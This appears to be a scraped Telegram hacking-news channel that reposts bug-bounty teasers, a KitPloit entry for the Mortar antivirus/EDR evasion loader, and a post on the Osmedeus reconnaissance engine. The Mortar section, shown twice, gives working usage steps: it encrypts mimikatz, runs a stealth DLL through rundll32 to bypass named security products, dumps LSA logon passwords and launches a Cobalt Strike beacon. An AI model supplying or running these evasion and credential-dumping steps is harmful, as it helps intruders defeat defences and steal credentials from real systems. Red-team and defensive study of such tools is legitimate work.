Hacking Articles Tips Tricks Videos Tutorials

A TALE OF 5250$ : HOW I ACCESSED MILLIONS OF USER’S DATA INCLUDING THEIR NATIONAL ID’S

Hi, Hope you guys are doing well, And a Happy New Year, YAY! ✨, Let’s start the blog without wasting more time.Continue reading on InfoSec Write-ups »
Read more...

11 views11:29

How i got financial advisor by simply hack into their membership plan !

Hello Infosec geeksContinue reading on Medium »
Read more...

10 views11:29

Hacking Articles Tips Tricks Videos Tutorials

Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)

red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: Kaspersky ESET Malewarebytes Mcafee Cortex XDR Windows defender Cylance TrendMicro detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk Usage Encryptor root@kali>./encryptor -f mimikatz.exe -o bin.enc Loader (DLL) for bypassing Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file @echo off cmd.exe /c rundll32.exe agressor.dll,stealth for normal usage you can directly execute the agressor.dll rundll32.exe agressor.dll,dec Loader (EXE) the executable version has more options you can use, as you able to pass commands for the loaded binary ##Mimikatz dump LSA deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc ## Cobalt strike beacon deliver.exe -d -f cobalt.enc Compiling the Loader (windows only) the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build Compiling Encryptor(Linux/BSD/Arm/MacOS//windows) either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads) #Debian & Ubuntu apt install fpc apt install lazarus-ide Support the research if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp Download Mortar
Read more...

___________________________
@hacking_Attack
@Hacking_Video

YouTube

Bypass the Detection & Prevention Obstacle: Red Teaming Technique - Lawrence Amer | CRESTCon Asia

Presentation by Lawrence Amer (Cyber Security Manager, DarkLab Hong Kong PwC).

Watch the rest of CRESTCon Asia 2021 presentations here:
https://youtube.com/playlist?list=PLZ2XFVIKjM5sxojfat4Jx1QddoN_ouSv5

Introducing the newer uncovered technique for process…

9 viewsedited 13:02

Hacking Articles Tips Tricks Videos Tutorials

Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)
http://www.kitploit.com/2022/01/mortar-evasion-technique-to-defeat-and.html

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)

11 viewsedited 13:23

Hacking Articles Tips Tricks Videos Tutorials

10 views13:23

Hacking Articles Tips Tricks Videos Tutorials

red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption (https://www.kitploit.com/search/label/Encryption) and decryption (https://www.kitploit.com/search/label/Decryption) of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: Kaspersky ESET Malewarebytes Mcafee Cortex XDR Windows defender (https://www.kitploit.com/search/label/Defender) Cylance TrendMicro
detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk Usage Encryptor ./encryptor -f mimikatz.exe -o bin.enc ">root@kali>./encryptor -f mimikatz.exe -o bin.enc

Loader (DLL) for bypassing (https://www.kitploit.com/search/label/Bypassing) Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file @echo off
cmd.exe /c rundll32.exe agressor.dll,stealth
for normal usage you can directly execute the agressor.dll rundll32.exe agressor.dll,dec
Loader (EXE) the executable version has more options you can use, as you able to pass commands for the loaded binary ##Mimikatz dump LSA
deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc

## Cobalt strike beacon
deliver.exe -d -f cobalt.enc

Compiling the Loader (windows only) the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build Compiling Encryptor(Linux/BSD/Arm/MacOS//windows) either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads) #Debian & Ubuntu

apt install fpc
apt install lazarus-ide

Support the research if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp

Download Mortar (https://github.com/0xsp-SRD/mortar)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

13 viewsedited 13:23

Hacking Articles Tips Tricks Videos Tutorials

10 views14:12

Hacking Articles Tips Tricks Videos Tutorials

12 views14:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Black Hat Ethical Hacking
Offensive Security Tool: Osmedeus

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: OsmedeusPost Views: 208 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 3 Minutes

Offensive Security Tool: Osmedeus GitHub Link Osmedeus Core Enginehttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/logo-transparent.png

Osmedeus – A Workflow Engine for Offensive Security
Osmedeus by J3ssie, is a Workflow Engine for Offensive Security. It was designed to build a foundation with the capability and flexibility that allow you to automatic your reconnaissance methodology on a large number of targets.

Performing Bug Bounty or Pentesting against huge companies with many indexed pages requires a special technique, experienced bug bounty hunters create their own methodologies that consist of the way they think of building a tool with speed, less false positives and more accurate results done in the way its coded. This tool, automated all these techniques and lets you focus on the findings and results which is what goes down to at the end. It combines some of the most used bug bounty tools into one whole workflow automated system ready to go! The Engine has successfully found a tremendous number of security vulnerabilities in many big companies out there with its unique reconnaissance methodology such as: Google, Microsoft, Starbucks, Apple, Netflix, PayPal and many more! FeaturesThis latest V4 Release written in GO brings outstanding new features such as:

-Better Architecture
-Faster, Stable and More Flexible
-Easier to Customize and Extend
-Auto Clean Junk Output and Backup
-Cloud Distributed Scans
-Synchronize data across machines
See Also: iOS malware can fake iPhone shut downs to snoop on camera, microphone Installation| NOTE that you need some essential tools like curl, wget, git, zip and login as root to start

bash -c “$(curl -fsSL https://raw.githubusercontent.com/osmedeus/osmedeus-base/master/install.sh)” Build the engineMake sure you installed golang >= v1.17

mkdir -p $GOPATH/src/github.com/j3ssie
git clone –depth=1 https://github.com/j3ssie/osmedeus $GOPATH/src/github.com/j3ssie/osmedeus
cd $GOPATH/src/github.com/j3ssie/osmedeus
make build
See Also: Complete Offensive Security and Ethical Hacking Course Usage# Practical Usage:
osmedeus scan -f [flowName] -t [target]
osmedeus scan -f [flowName] -T [targetsFile]
osmedeus scan -f /path/to/flow.yaml -t [target]
osmedeus scan -m /path/to/module.yaml -t [target] –params ‘port=9200’
osmedeus scan -m /path/to/module.yaml -t [target] -l /tmp/log.log
cat targets | osmedeus scan -f sample

# Example Commands:
osmedeus scan -t target.com
osmedeus scan -T list_of_targets.txt -W custom_workspaces
osmedeus scan -t target.com -w workspace_name –debug
osmedeus scan -f single -t www.sample.com
osmedeus scan -f ovuln-T list_of_target.txt
osmedeus scan -m ~/osmedeus-base/workflow/test/dirbscan.yaml -t list_of_urls.txt
osmedeus health
ls ~/.osmedeus/storages/summary/ | osmedeus scan -m ~/osmedeus-base/workflow/test/dirbscan.yaml
ls ~/.osmedeus/storages/summary/ | osmedeus scan -m ~/osmedeus-base/workflow/test/busting.yaml -D

# Start Web UI at https://localhost:8000/ui/
osmedeus server
# login with credentials from `~/.osmedeus/config.yaml`

# Delete workspace
osmedeus config delete -w workspace_name
See Also: Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/basic_spraying[...]

___________________________
@hacking_Attack
@Hacking_Video

12 viewsedited 14:12

About

Blog

Apps

Platform